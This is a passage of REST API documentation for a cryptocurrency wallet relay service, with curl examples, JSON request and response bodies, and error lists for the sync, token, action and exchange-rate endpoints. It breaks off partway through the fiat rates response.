            "kPublic": "03eb6487f0984c629c4de0cec57b4cbfdfc7d411a068a47906984a9d71d2e3d0ca",
            "kTwoPublic": "03da21ac3cc833d7e5ad38b016f020455cf9ec09119f26d7be7fdcc122399ca841"
        },
        {
            "kPublic": "032ee70475b5a6e082fe0765eaed566e35f5f2169e7a9483bd6a82b0da7291a442",
            "kTwoPublic": "03133fa2a3731c2d1ffb3a51ce68405fa7059da0da8b9130a6c92ee7a443a20c99"
        },
        {
            "kPublic": "03145d07decc92e8119f2e6853e0ec09adb3f0b85e40aecc77e9e66d0a5ae92169",
            "kTwoPublic": "025791e4d08f500c3c468a4603e4409c45f4c4be5ffd84d859ec9798f38496d25c"
        },
        {
            "kPublic": "0331cc678b16484f6d4597e21b2b5a92501ae1691068abef9fb2e390c5b4aefa07",
            "kTwoPublic": "03c13c2eb0d7be04532913d758fb560348d5dc14e009d5b380d7e6a2194e288e2f"
        },
        {
            "kPublic": "02c35f88926be156aa7178061e6103925cd7b11796557d19a53e92bd9f667c195f",
            "kTwoPublic": "0353a213b38556ee95eb6fc72b137660c392b07e42f8cd802d626556d763d7313e"
        },
        {
            "kPublic": "03f38bd700f7c0a833d328d7adf33ea1c33752d95fc3794bbe3110f5ebb4cd7a14",
            "kTwoPublic": "03c7768aa2901b046bbee907691de2bf36ee9423d6410f84788027591e1d8f4edf"
        },
        {
            "kPublic": "02a9758e0d8741e1732e9c123e8c67634bfef7e52c9edd8befffd4e456707d1836",
            "kTwoPublic": "021d5022d12a5a20318ddad8827af1c6e2308c4710600fad63b85b2021224d35ea"
        },
        {
            "kPublic": "02bffebd506b888c62ade28245d9ebb3c8353d48baf749067f37973770a15888e3",
            "kTwoPublic": "02ca23f34e0443565c3c91627b30a0e4fdb3c99d3477efea354f47a22e6900ee75"
        },
        {
            "kPublic": "031d1963e434ce049e0c82199103b0ee5cf1f6f04437dac33956041d04e73446af",
            "kTwoPublic": "032fad849c38b555883c341ea1b0362f5135a75944bd0a15529825b0b8457988d6"
        },
        {
            "kPublic": "039193ee2267106322acb712950700db43850be7fc3c297ce5d51033d3d1da72f5",
            "kTwoPublic": "0317da113a69377ae1807050becb80325e71146c9133a32820bdf56cb7b64ba5ab"
        },
        {
            "kPublic": "032f085acb7109ef7a772d96367cf34ffda6e485aaced64cffc19cca57455472f8",
            "kTwoPublic": "02b2eb3c82361fee262f61a887d900daaa0fa03b369e14551a972c7db0efab5149"
        },
        {
            "kPublic": "03e08233a625f1086836d4274398a16b471e187cea3d3eb841b3f8e777e6f385b1",
            "kTwoPublic": "02aa9322e7b4f8bbb0aa6e7527b07761aff79b6c7e9b471ba64d49e1e2d0cfb1ad"
        },
        {
            "kPublic": "03a6801c45aa35be7dbf630fbb16d4150433320ada2af73016b821a22a3ffdf351",
            "kTwoPublic": "03331f7260f679b90f63211b46b7938322a37cc6897020a03802a9f4b976fb71bf"
        },
        {
            "kPublic": "032b01f558f808cc6b59f5048b1ab9fa91889e9e5d01c17cd24cfa679784e9bc18",
            "kTwoPublic": "029de37a609ba223ade79eae7422571f73305e739f6c3895dfefa5d1bb10addd38"
        },
        {
            "kPublic": "03ebf9f9cd36f591a3dc6875ae673ef9731610326d72f9b9286cc43c45ab24293e",
            "kTwoPublic": "0245400480b22a156194399db6a367068df8e56c7f0033dec53618b9fd2ca94796"
        },
        {
            "kPublic": "03eaa11310bb09f65abf897ed2fc73d3b4f66e3f7b807ef3d73cbe0f54ce686c7a",
            "kTwoPublic": "031c151da1e78ba5620020a73f5b1dd9311a00b95d9c8ef7950ffe4199008c26f3"
        },
        {
            "kPublic": "03165c9d432229b2dcfd580d618f210daf2e7ef44dda087788edcb2e378a7b89e3",
            "kTwoPublic": "03c8a5e37e3488b00282d2b13caff7f91e0915d076cce1e2f0d2d8a03b91ff6dde"
        },
        {
            "kPublic": "02f7a04407cad6860e8d1f804a38f0da380f84be806ff415fedb9c533656ca9207",
            "kTwoPublic": "02c80dde44469e9c794ec5708edb6d05262d62dec906be8a0d146adc3ba4e05448"
        },
        {
            "kPublic": "03f4d043c18c1f1842074f9859d82e0000d3f2d7bdc1f75a2a3e185950be945659",
            "kTwoPublic": "02185c61b039a55c8a56aca5e25bd2cc8e3f3761042da9ce245aeab5d4e45b1020"
        },
        {
            "kPublic": "02bf52bec05bc3b344905410e7ac230d19ceabd49ec9e793c18db6d8d51d8c922b",
            "kTwoPublic": "0331952f8b5feecae6543b514cb1929e55f477463dbaf3e90cac695e481dcbf3e0"
        },
        {
            "kPublic": "02f2d5bfdfd231a8c82f391e7cb975572de8cfdfcef8028affa7843225656ea6ac",
            "kTwoPublic": "0283e0356a437f6218f865a409632737364d1fa7eef1b391d83ba09713ad39748e"
        },
        {
            "kPublic": "0209b403e2f7e3565d09dd32aa7ba389456839b28bfcaa1d93aa3f6b52b509339e",
            "kTwoPublic": "02966078a7e3bf88af05cec889268dbb4510d63193bc4db8cfc516a3dd3e77577a"
        },
        {
            "kPublic": "025c4aa8a7b1e88a10a0983df1269cf9908b0bc15a3b1d32e4888eeb057c7e01a9",
            "kTwoPublic": "02d8e80845d57e340bd6ed1eb3b9192878cc220b6e4c60e2ee36ded22a36bdbbbc"
        },
        {
            "kPublic": "02022b9806d8f952225a48a2de4ceedbe4a1d2b4b57448153d9c564e1a30251f6a",
            "kTwoPublic": "02007a93caec5a514dce9b14b9f26774e2c790af398cd4561e0790a200c005db10"
        },
        {
            "kPublic": "02702968776d33e53adb722a41291b166984f3fd65c5e0335f75d8c98f13289ad3",
            "kTwoPublic": "02658ce5fa3c905a953490e8c2ef567343525446c8c60e4d115ac07ff867b248d6"
        },
        {
            "kPublic": "0364f0fb53a5dcd03bb4110a5d80bfbb5c7b853bcdb31a3fb49cc8b8dbc658795a",
            "kTwoPublic": "03bfbb44069fc3e55b304488869927a6b76d7db9fc58ac9094039f50e49b679962"
        },
        {
            "kPublic": "0343dc67ce850f932c5cbddb6dafa42899fc89a87c130f66397807cf7181a01b9c",
            "kTwoPublic": "02470145d4b50c477a06e5b06baa5f58f5b006dfd68c98923828db485261ef1132"
        },
        {
            "kPublic": "02ee9d8e52ad05461fad7045d58d93af849ab9fe7847bbc2bc22384e896697f871",
            "kTwoPublic": "02a11c7d1d624b18d2e24afdd6303f984a0f0208a294dc93d8bbda66f72c03b88c"
        },
        {
            "kPublic": "0266d99ff948390ce7bf789a4813848af0e96ce81a6342f7048bcf0bea1fbf6e07",
            "kTwoPublic": "02a960aa9509f41792620991791b91510bf3585ecbd644c3bd5cad8abebfbda4f7"
        },
        {
            "kPublic": "0368cf0589d1cd438584eeb4e199be22badb53ee0ba2fc32847feab6925faa72d8",
            "kTwoPublic": "0284e5bfd42140ff67b049f2591cddda79cc4127d9169c36333955d6ce607ec261"
        },
        {
            "kPublic": "03e5e0a75e10bf73bf5ae2346cc877e64d768f1bddc37ff10ef9526976b8151754",
            "kTwoPublic": "02aa69c82633e6405a6b97c4a0f07a55b482e3b5f20981084173c618412c30b481"
        },
        {
            "kPublic": "039125bf3b2f669291a0501f1d5797deff6ce42a648d54f77e6254cadcbac733a1",
            "kTwoPublic": "031f88b05a910e76e11e26127e51ce6a5851fa96afd940c9692df1d142cdc84d36"
        },
        {
            "kPublic": "024c4a1cd29a98f3fca80547c6fa35dbaa890c01bc04133e52d6f4c9bffcaadbed",
            "kTwoPublic": "02c6a2d1ac562938540d635d42559da28d08f74364b9a45787131b1237137d94e0"
        },
        {
            "kPublic": "024f40609211ba54be8a3ef9a861f66596e05ed98eb7af274d1bdcbea93ea75990",
            "kTwoPublic": "02302b9ee73aca6272fce2266b7e82db12634b07bf98d296496a4b40e1ea20da4a"
        },
        {
            "kPublic": "039b459fb58a440c49eff2cda63f5e6b402ca227c5fbff47f9e7d51fa60db9cd49",
            "kTwoPublic": "020a4b4b7eeda8cadc1368c732c1e77c103bbfcab167baae9786c8f639ecadceaa"
        },
        {
            "kPublic": "026de0589b63bf76d2c839a18e1571ec6eac04fcb948ed6a183f595fc57e034341",
            "kTwoPublic": "034827d43d281de88f9b1e39b4ab0a62cd2efb04a7c70d132e5a40278d23397aea"
        },
        {
            "kPublic": "03d3a4b63963f50dd3811d4ae751b8e4c22a25c4f78088f43f04572439e15af15a",
            "kTwoPublic": "026f0ae313624e2d15fff828f9f1dd6ba2df0bf5920be2f23197eddfe3066bdf00"
        },
        {
            "kPublic": "0350a8a2b98550019b3d7cf7e100df0e33ed180219c4955ef2f22d16d6a4758d69",
            "kTwoPublic": "02c7f73398f4872d719be0871d3ce27169812eee95b473087924fd2c978747e444"
        },
        {
            "kPublic": "0322f6da4602fe7d7c91d5a5f3d8c3aaef86b5a639e3973757c44632ea6ff5f4fd",
            "kTwoPublic": "037d27c6a4b550f6ff782455cbff330eda7dabec884eaf7fd797f0c5cd6d4d0153"
        },
        {
            "kPublic": "02656322a5930ae49dbc3af9efa8388b5442cba79361ec0f06395897a1f237d7f8",
            "kTwoPublic": "03fa9406720f348421a1970919980ce4a23dca61db1d8fad8fe00f261ac4a60dba"
        }
    ], 
    "generatedAddress": "bc1qa4w830n2c4v0j0usehg38xlr58xltxml3cyphrgz0kp4292yw7aqrsqhcr" 
}'
```

{% endtab %}
{% endtabs %}

**Response**

| Parameter        | Description                          |
| ---------------- | ------------------------------------ |
| chain            | chain where the id is associated     |
| walletIdentity   | id being used to identify the wallet |
| keyXpub          | xpub key of the wallet               |
| wkIdentity       | wallet key value                     |
| publicNonces     | public nonces value                  |
| generatedAddress | address associated with the wallet   |
| createdAt        | creation date timestamp              |
| expireAt         | expiration date timestamp            |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "status": "success",
    "data": {
        "chain": "btc",
        "walletIdentity": "1Kys4uBjfqcb3DrtkAs8Gc8YXEmDmeFESd",
        "keyXpub": "Zpub75iXLooqV4JZNAC68gK6kAdNmAdY2wMMUeGxv9rZHHnWhU91EccH6r45CmYUnADR51p4H3aFkWLicnV5wj69GipUgA5eNM8RnYAtNpAxWb5",
        "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
        "generatedAddress": "bc1qa4w830n2c4v0j0usehg38xlr58xltxml3cyphrgz0kp4292yw7aqrsqhcr",
        "publicNonces": [
            {
                "kPublic": "027fa9f9c1e8cbd77799d39be7e06ea55dbe793fd1b74857e3a83e7de866e07027",
                "kTwoPublic": "037b87c588195c9883ca18b9e5c8acb156bf9ff4193dc6db381361e2ca2c386046"
            },
            {
                "kPublic": "03d1c7179c86752f6f0c24d726c43e42ef902461fb1ad805ffe06cae5a8ac05814",
                "kTwoPublic": "02ab3045c751591bb7ec2a236d9e42794f1692788f0f11f97164e3b02e75fd8d0d"
            },
            {
                "kPublic": "02c512ddf6fd8f5927adabb2c9ca38c22c6355bec6e27d5a3e01ca608eb4e40ce0",
                "kTwoPublic": "026b831445a028ac460fed5fb3579562c69ebdf9465414ec7ba7eb0a2bb8471840"
            },
            {
                "kPublic": "03c764f7c7f10e9935da59824954dcb1cd3870bfd7dd6b46b27e9b9b75fb51df90",
                "kTwoPublic": "03b5f5a9cd2cdfe7ea3621dc6b02fedb7a04093f9b32bf006577d6395360b583b9"
            },
            {
                "kPublic": "02ba82c7f0dec94fe54e47bd384554729a6a817d2ff875bfc11ff72e174453ca3b",
                "kTwoPublic": "034b84869ab98addafcb29bd0463741c03dcdf361d356bba3bf7bf8e666cbe6b54"
            },
            {
                "kPublic": "026fe4afabaae005ce1c9ba58b19b4a7e9f6934334bdecd5e10897a05b3015b569",
                "kTwoPublic": "020b6924a24966b27bdec49272dca1af5209387d9466f419c4ff57d63c1f6e23b2"
            },
            {
                "kPublic": "036ac536fdbfbdd3ab4b53b7fdbfb887e548f97fdeeeb68e8babe4fa44eef7a13f",
                "kTwoPublic": "02702b3d406b5eefc0183e7d2c734676595ff87f36c3abf41e23d30d9ce0c77f01"
            },
            {
                "kPublic": "0297c648c8aef9162bcb381e4e6fb3c80747d48965b974635923d36724fe52f77e",
                "kTwoPublic": "0227696fa75d105be1b799becdb55cdb94cd29f8b39a7f7fcd15a69a5fe6b28874"
            },
            {
                "kPublic": "022a4ab9d2c942784eb9fd0b57d367a55296b96ebb5c03d5da86aad5c18258e9f0",
                "kTwoPublic": "020f11d46c8ebb0a16e7af8b42b6f8ffa728e900f6f15e5d1f1ec5eb0ffb77ab7f"
            },
            {
                "kPublic": "034448b2a43053b493a6ede09adda28c5036e4c5b5cfd493dda1567fc8b2a0676f",
                "kTwoPublic": "02ff4f296aa4108ed317bd67c12c41a0a1cea8ca1477e8c93b0dfdbefb9c849668"
            },
            {
                "kPublic": "03eb6487f0984c629c4de0cec57b4cbfdfc7d411a068a47906984a9d71d2e3d0ca",
                "kTwoPublic": "03da21ac3cc833d7e5ad38b016f020455cf9ec09119f26d7be7fdcc122399ca841"
            },
            {
                "kPublic": "032ee70475b5a6e082fe0765eaed566e35f5f2169e7a9483bd6a82b0da7291a442",
                "kTwoPublic": "03133fa2a3731c2d1ffb3a51ce68405fa7059da0da8b9130a6c92ee7a443a20c99"
            },
            {
                "kPublic": "03145d07decc92e8119f2e6853e0ec09adb3f0b85e40aecc77e9e66d0a5ae92169",
                "kTwoPublic": "025791e4d08f500c3c468a4603e4409c45f4c4be5ffd84d859ec9798f38496d25c"
            },
            {
                "kPublic": "0331cc678b16484f6d4597e21b2b5a92501ae1691068abef9fb2e390c5b4aefa07",
                "kTwoPublic": "03c13c2eb0d7be04532913d758fb560348d5dc14e009d5b380d7e6a2194e288e2f"
            },
            {
                "kPublic": "02c35f88926be156aa7178061e6103925cd7b11796557d19a53e92bd9f667c195f",
                "kTwoPublic": "0353a213b38556ee95eb6fc72b137660c392b07e42f8cd802d626556d763d7313e"
            },
            {
                "kPublic": "03f38bd700f7c0a833d328d7adf33ea1c33752d95fc3794bbe3110f5ebb4cd7a14",
                "kTwoPublic": "03c7768aa2901b046bbee907691de2bf36ee9423d6410f84788027591e1d8f4edf"
            },
            {
                "kPublic": "02a9758e0d8741e1732e9c123e8c67634bfef7e52c9edd8befffd4e456707d1836",
                "kTwoPublic": "021d5022d12a5a20318ddad8827af1c6e2308c4710600fad63b85b2021224d35ea"
            },
            {
                "kPublic": "02bffebd506b888c62ade28245d9ebb3c8353d48baf749067f37973770a15888e3",
                "kTwoPublic": "02ca23f34e0443565c3c91627b30a0e4fdb3c99d3477efea354f47a22e6900ee75"
            },
            {
                "kPublic": "031d1963e434ce049e0c82199103b0ee5cf1f6f04437dac33956041d04e73446af",
                "kTwoPublic": "032fad849c38b555883c341ea1b0362f5135a75944bd0a15529825b0b8457988d6"
            },
            {
                "kPublic": "039193ee2267106322acb712950700db43850be7fc3c297ce5d51033d3d1da72f5",
                "kTwoPublic": "0317da113a69377ae1807050becb80325e71146c9133a32820bdf56cb7b64ba5ab"
            },
            {
                "kPublic": "032f085acb7109ef7a772d96367cf34ffda6e485aaced64cffc19cca57455472f8",
                "kTwoPublic": "02b2eb3c82361fee262f61a887d900daaa0fa03b369e14551a972c7db0efab5149"
            },
            {
                "kPublic": "03e08233a625f1086836d4274398a16b471e187cea3d3eb841b3f8e777e6f385b1",
                "kTwoPublic": "02aa9322e7b4f8bbb0aa6e7527b07761aff79b6c7e9b471ba64d49e1e2d0cfb1ad"
            },
            {
                "kPublic": "03a6801c45aa35be7dbf630fbb16d4150433320ada2af73016b821a22a3ffdf351",
                "kTwoPublic": "03331f7260f679b90f63211b46b7938322a37cc6897020a03802a9f4b976fb71bf"
            },
            {
                "kPublic": "032b01f558f808cc6b59f5048b1ab9fa91889e9e5d01c17cd24cfa679784e9bc18",
                "kTwoPublic": "029de37a609ba223ade79eae7422571f73305e739f6c3895dfefa5d1bb10addd38"
            },
            {
                "kPublic": "03ebf9f9cd36f591a3dc6875ae673ef9731610326d72f9b9286cc43c45ab24293e",
                "kTwoPublic": "0245400480b22a156194399db6a367068df8e56c7f0033dec53618b9fd2ca94796"
            },
            {
                "kPublic": "03eaa11310bb09f65abf897ed2fc73d3b4f66e3f7b807ef3d73cbe0f54ce686c7a",
                "kTwoPublic": "031c151da1e78ba5620020a73f5b1dd9311a00b95d9c8ef7950ffe4199008c26f3"
            },
            {
                "kPublic": "03165c9d432229b2dcfd580d618f210daf2e7ef44dda087788edcb2e378a7b89e3",
                "kTwoPublic": "03c8a5e37e3488b00282d2b13caff7f91e0915d076cce1e2f0d2d8a03b91ff6dde"
            },
            {
                "kPublic": "02f7a04407cad6860e8d1f804a38f0da380f84be806ff415fedb9c533656ca9207",
                "kTwoPublic": "02c80dde44469e9c794ec5708edb6d05262d62dec906be8a0d146adc3ba4e05448"
            },
            {
                "kPublic": "03f4d043c18c1f1842074f9859d82e0000d3f2d7bdc1f75a2a3e185950be945659",
                "kTwoPublic": "02185c61b039a55c8a56aca5e25bd2cc8e3f3761042da9ce245aeab5d4e45b1020"
            },
            {
                "kPublic": "02bf52bec05bc3b344905410e7ac230d19ceabd49ec9e793c18db6d8d51d8c922b",
                "kTwoPublic": "0331952f8b5feecae6543b514cb1929e55f477463dbaf3e90cac695e481dcbf3e0"
            },
            {
                "kPublic": "02f2d5bfdfd231a8c82f391e7cb975572de8cfdfcef8028affa7843225656ea6ac",
                "kTwoPublic": "0283e0356a437f6218f865a409632737364d1fa7eef1b391d83ba09713ad39748e"
            },
            {
                "kPublic": "0209b403e2f7e3565d09dd32aa7ba389456839b28bfcaa1d93aa3f6b52b509339e",
                "kTwoPublic": "02966078a7e3bf88af05cec889268dbb4510d63193bc4db8cfc516a3dd3e77577a"
            },
            {
                "kPublic": "025c4aa8a7b1e88a10a0983df1269cf9908b0bc15a3b1d32e4888eeb057c7e01a9",
                "kTwoPublic": "02d8e80845d57e340bd6ed1eb3b9192878cc220b6e4c60e2ee36ded22a36bdbbbc"
            },
            {
                "kPublic": "02022b9806d8f952225a48a2de4ceedbe4a1d2b4b57448153d9c564e1a30251f6a",
                "kTwoPublic": "02007a93caec5a514dce9b14b9f26774e2c790af398cd4561e0790a200c005db10"
            },
            {
                "kPublic": "02702968776d33e53adb722a41291b166984f3fd65c5e0335f75d8c98f13289ad3",
                "kTwoPublic": "02658ce5fa3c905a953490e8c2ef567343525446c8c60e4d115ac07ff867b248d6"
            },
            {
                "kPublic": "0364f0fb53a5dcd03bb4110a5d80bfbb5c7b853bcdb31a3fb49cc8b8dbc658795a",
                "kTwoPublic": "03bfbb44069fc3e55b304488869927a6b76d7db9fc58ac9094039f50e49b679962"
            },
            {
                "kPublic": "0343dc67ce850f932c5cbddb6dafa42899fc89a87c130f66397807cf7181a01b9c",
                "kTwoPublic": "02470145d4b50c477a06e5b06baa5f58f5b006dfd68c98923828db485261ef1132"
            },
            {
                "kPublic": "02ee9d8e52ad05461fad7045d58d93af849ab9fe7847bbc2bc22384e896697f871",
                "kTwoPublic": "02a11c7d1d624b18d2e24afdd6303f984a0f0208a294dc93d8bbda66f72c03b88c"
            },
            {
                "kPublic": "0266d99ff948390ce7bf789a4813848af0e96ce81a6342f7048bcf0bea1fbf6e07",
                "kTwoPublic": "02a960aa9509f41792620991791b91510bf3585ecbd644c3bd5cad8abebfbda4f7"
            },
            {
                "kPublic": "0368cf0589d1cd438584eeb4e199be22badb53ee0ba2fc32847feab6925faa72d8",
                "kTwoPublic": "0284e5bfd42140ff67b049f2591cddda79cc4127d9169c36333955d6ce607ec261"
            },
            {
                "kPublic": "03e5e0a75e10bf73bf5ae2346cc877e64d768f1bddc37ff10ef9526976b8151754",
                "kTwoPublic": "02aa69c82633e6405a6b97c4a0f07a55b482e3b5f20981084173c618412c30b481"
            },
            {
                "kPublic": "039125bf3b2f669291a0501f1d5797deff6ce42a648d54f77e6254cadcbac733a1",
                "kTwoPublic": "031f88b05a910e76e11e26127e51ce6a5851fa96afd940c9692df1d142cdc84d36"
            },
            {
                "kPublic": "024c4a1cd29a98f3fca80547c6fa35dbaa890c01bc04133e52d6f4c9bffcaadbed",
                "kTwoPublic": "02c6a2d1ac562938540d635d42559da28d08f74364b9a45787131b1237137d94e0"
            },
            {
                "kPublic": "024f40609211ba54be8a3ef9a861f66596e05ed98eb7af274d1bdcbea93ea75990",
                "kTwoPublic": "02302b9ee73aca6272fce2266b7e82db12634b07bf98d296496a4b40e1ea20da4a"
            },
            {
                "kPublic": "039b459fb58a440c49eff2cda63f5e6b402ca227c5fbff47f9e7d51fa60db9cd49",
                "kTwoPublic": "020a4b4b7eeda8cadc1368c732c1e77c103bbfcab167baae9786c8f639ecadceaa"
            },
            {
                "kPublic": "026de0589b63bf76d2c839a18e1571ec6eac04fcb948ed6a183f595fc57e034341",
                "kTwoPublic": "034827d43d281de88f9b1e39b4ab0a62cd2efb04a7c70d132e5a40278d23397aea"
            },
            {
                "kPublic": "03d3a4b63963f50dd3811d4ae751b8e4c22a25c4f78088f43f04572439e15af15a",
                "kTwoPublic": "026f0ae313624e2d15fff828f9f1dd6ba2df0bf5920be2f23197eddfe3066bdf00"
            },
            {
                "kPublic": "0350a8a2b98550019b3d7cf7e100df0e33ed180219c4955ef2f22d16d6a4758d69",
                "kTwoPublic": "02c7f73398f4872d719be0871d3ce27169812eee95b473087924fd2c978747e444"
            },
            {
                "kPublic": "0322f6da4602fe7d7c91d5a5f3d8c3aaef86b5a639e3973757c44632ea6ff5f4fd",
                "kTwoPublic": "037d27c6a4b550f6ff782455cbff330eda7dabec884eaf7fd797f0c5cd6d4d0153"
            },
            {
                "kPublic": "02656322a5930ae49dbc3af9efa8388b5442cba79361ec0f06395897a1f237d7f8",
                "kTwoPublic": "03fa9406720f348421a1970919980ce4a23dca61db1d8fad8fe00f261ac4a60dba"
            }
        ],
        "createdAt": "2025-02-19T11:33:16.036Z",
        "expireAt": "2025-02-19T11:48:16.036Z"
    }
}
```

{% endtab %}

{% tab title="400  - Failed Response" %}

```json
// List of messages:
// Invalid Chain specified
// Invalid Wallet identity specified
// Invalid XPUB of Key specified
// Invalid SSP Identity specified
// Invalid generated address
// Generated address is invalid
// Invalid public nonces
// Invalid public nonce detected
// Public nonce is too long
// Too many public nonces submitted
// Failed to update synchronisation data

{
    "status": "error",
    "data": {
        "name": "Error",
        "message": "<message>"
    }
}
```

{% endtab %}
{% endtabs %}


# POST /v1/token

Post token using data specified in the request body

<mark style="color:green;">`POST`</mark> **/v1/token**

**Headers**

| Name         | Value            |
| ------------ | ---------------- |
| Content-Type | application/json |

**Body**

| Parameter  | Description      |
| ---------- | ---------------- |
| wkIdentity | wallet key value |
| keyToken   | SSP key token    |

```javascript
{
    "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
    "keyToken": "1", 
}
```

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/token' \
--header 'Content-Type: application/json' \
--data '{
    "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
    "keyToken": "1"

}'
```

{% endtab %}
{% endtabs %}

**Response**

| Parameter  | Description      |
| ---------- | ---------------- |
| wkIdentity | wallet key value |
| keyToken   | SSP key token    |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "status": "success",
    "data": {
        "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
        "keyToken": "1"
    }
}
```

{% endtab %}

{% tab title="400 - Failed Response" %}

```javascript
// List of messages:
// Invalid SSP identity specified
// Invalid SSP Key Token specified
// Failed to update synced data

{
    "status": "error",
    "data": {
        "name": "Error",
        "message": "<message>"
    }
}
```

{% endtab %}
{% endtabs %}


# POST /v1/action

Post action using data specified in the request body

<mark style="color:green;">`POST`</mark> **/v1/action**

**Headers**

| Name         | Value            |
| ------------ | ---------------- |
| Content-Type | application/json |

**Body**

| Parameter  | Description                      |
| ---------- | -------------------------------- |
| chain      | chain where the id is associated |
| path       | path value                       |
| wkIdentity | wallet key value                 |
| action     | action value                     |
| payload    | payload value                    |
| utxos      | utxos values                     |

```javascript
{
  "action": "tx",
  "payload": "0400008085202f89016bf2b6449710be3300c3cc4a9ad2d4db7e88cea56168c46a16278b496e3415eb0000000092000047304402206802b39e235731e1798c226b5230b6730596309a91d8293b804817e0d8e25718022038fa7d3ded97d25be0303755040a1ccf9ec04bf7081f8bfb94588bc5b11a380101475221022a316c22acf16a9108b57f48802143cc0c0ac4b8fc360a87568e1794e51558752103749c957461154dfca921d0872ba3c9ac85d98c92e4a34fdac32bd03597fbd2f252aeffffffff0310270000000000001976a91473562bc6a1db9dc6effebc1ef4379942feb3cf2c88ac305e01000000000017a9147a29650fb76a20926553c0ab0e60a509919d5698870000000000000000066a047465737400000000121f1c000000000000000000000000",
  "chain": "flux",
  "path": "0-0",
  "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
  "utxos": [
    {
      "txid": "eb15346e498b27166ac46861a5ce887edbd4d29a4accc30033be109744b6f26b",
      "vout": 0,
      "scriptPubKey": "a9147a29650fb76a20926553c0ab0e60a509919d569887",
      "satoshis": "100000",
      "confirmations": 136988,
      "coinbase": false
    }
  ]
}
```

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/action' \
--header 'Content-Type: application/json' \
--data '{
  "action": "tx",
  "payload": "0400008085202f89016bf2b6449710be3300c3cc4a9ad2d4db7e88cea56168c46a16278b496e3415eb0000000092000047304402206802b39e235731e1798c226b5230b6730596309a91d8293b804817e0d8e25718022038fa7d3ded97d25be0303755040a1ccf9ec04bf7081f8bfb94588bc5b11a380101475221022a316c22acf16a9108b57f48802143cc0c0ac4b8fc360a87568e1794e51558752103749c957461154dfca921d0872ba3c9ac85d98c92e4a34fdac32bd03597fbd2f252aeffffffff0310270000000000001976a91473562bc6a1db9dc6effebc1ef4379942feb3cf2c88ac305e01000000000017a9147a29650fb76a20926553c0ab0e60a509919d5698870000000000000000066a047465737400000000121f1c000000000000000000000000",
  "chain": "flux",
  "path": "0-0",
  "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
  "utxos": [
    {
      "txid": "eb15346e498b27166ac46861a5ce887edbd4d29a4accc30033be109744b6f26b",
      "vout": 0,
      "scriptPubKey": "a9147a29650fb76a20926553c0ab0e60a509919d569887",
      "satoshis": "100000",
      "confirmations": 136988,
      "coinbase": false
    }
  ]
}'
```

{% endtab %}
{% endtabs %}

**Response**

| Parameter  | Description                      |
| ---------- | -------------------------------- |
| chain      | chain where the id is associated |
| path       | path value                       |
| wkIdentity | wallet key value                 |
| action     | action value                     |
| payload    | payload value                    |
| utxos      | utxos values                     |
| expireAt   | expiration timestamp             |
| createdAt  | created timestamp                |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "status": "success",
    "data": {
        "chain": "flux",
        "path": "0-0",
        "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
        "action": "tx",
        "payload": "0400008085202f89016bf2b6449710be3300c3cc4a9ad2d4db7e88cea56168c46a16278b496e3415eb0000000092000047304402206802b39e235731e1798c226b5230b6730596309a91d8293b804817e0d8e25718022038fa7d3ded97d25be0303755040a1ccf9ec04bf7081f8bfb94588bc5b11a380101475221022a316c22acf16a9108b57f48802143cc0c0ac4b8fc360a87568e1794e51558752103749c957461154dfca921d0872ba3c9ac85d98c92e4a34fdac32bd03597fbd2f252aeffffffff0310270000000000001976a91473562bc6a1db9dc6effebc1ef4379942feb3cf2c88ac305e01000000000017a9147a29650fb76a20926553c0ab0e60a509919d5698870000000000000000066a047465737400000000121f1c000000000000000000000000",
        "utxos": [
            {
                "txid": "eb15346e498b27166ac46861a5ce887edbd4d29a4accc30033be109744b6f26b",
                "vout": 0,
                "scriptPubKey": "a9147a29650fb76a20926553c0ab0e60a509919d569887",
                "satoshis": "100000",
                "confirmations": 136988,
                "coinbase": false
            }
        ],
        "createdAt": "2025-02-19T11:42:40.922Z",
        "expireAt": "2025-02-19T11:57:40.922Z"
    }
}
```

{% endtab %}

{% tab title="400 - Failed Response" %}

```
Bad Request
```

{% endtab %}
{% endtabs %}


# GET /v1/rates

Retrieve rates of fiat and crypto

<mark style="color:green;">`GET`</mark> **/v1/rates**

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/rates'
```

{% endtab %}
{% endtabs %}

**Response**

<table><thead><tr><th width="220">Parameter</th><th>Description</th></tr></thead><tbody><tr><td>fiat</td><td>rates of fiat currencies</td></tr><tr><td>crypto</td><td>rates of crypto currencies</td></tr></tbody></table>

{% tabs %}
{% tab title="200 - Success" %}

<pre class="language-json"><code class="lang-json"><strong>{
</strong>    "fiat": {
        "MXN": 20.25709,
        "EUR": 0.9591057,
        "JPY": 151.8131346,
        "PKR": 279.8079328,
        "SEK": 10.7237533,
        "BHD": 0.3768549,
        "CNY": 7.2825489,
        "XAU": 0.0003396,
        "TWD": 32.77147,
        "DKK": 7.1525034,
        "XDR": 0.7642685,
        "XAG": 0.0302938,
        "KRW": 1441.7946281,
        "AED": 3.6712849,
        "ZAR": 18.4364528,
        "ARS": 1058.1003351,
        "BMD": 1,
        "BDT": 121.6825889,
        "RUB": 90.7017456,
        "ILS": 3.5412394,
        "HUF": 385.3248637,
        "HKD": 7.7727205,
        "KWD": 0.3088301,
        "USD": 1,
        "THB": 33.7017956,
        "NGN": 1507.4275997,
        "NZD": 1.7506127,
        "SGD": 1.3404692,
        "VEF": 0.10013,
        "MYR": 4.4415545,
        "BRL": 5.6919922,
        "IDR": 16369.0291602,
